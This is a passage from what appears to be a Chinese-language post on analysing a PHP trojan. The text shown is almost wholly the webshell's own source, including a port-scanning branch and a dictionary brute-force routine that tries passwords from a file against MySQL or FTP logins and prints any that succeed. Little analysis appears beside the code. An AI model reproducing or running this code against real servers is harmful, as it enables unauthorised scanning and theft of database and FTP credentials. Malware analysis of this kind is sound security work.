php 木马的分析(加密破解)

        }
    }
}
elseif($do =='port'){
        $tmp = explode(",",$port);
        $count = count($tmp);
    for($i=$first;$i<$count;$i++){
            $fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1);
            if($fp) echo"发现".$host."主机打开了端口".$tmp[$i]."<br>";
    }
}
/*
这里代码写得很杂，说实话我自己都不知道写了什么。
好在能用，我就没管了，假设有人看到干脆重写吧。*/
elseif ($do == 'crack') {//反正注册为全局变量了。
    if(@file_exists($passfile)){
        $tmp = file($passfile);
        $count = count($tmp);
        if(empty($onetime)){
            $onetime = $count;
            $turn="1";
        }else{
            $nowturn = $turn+1;
            $now = $turn*$onetime;
            $tt = intval(($count/$onetime)+1);
        }
        if($turn>$tt or $onetime>$count){
            echo"超过字典容量了耶~要是破解最后进程的，很抱歉失败。";
            }else{
                $first = $onetime*($turn-1);
                for($i=$first;$i<$now;$i++){
                    if($ctype=="mysql") $sa = @mysql_connect($host,$user,chop($tmp[$i]));
                    else $sa = @ftp_login(ftp_connect($host,$admin[ftpport]),$user,chop($tmp[$i]));
                if($sa)
                    {
                    $t = "获取".$user."的密码为".$tmp[$i]."";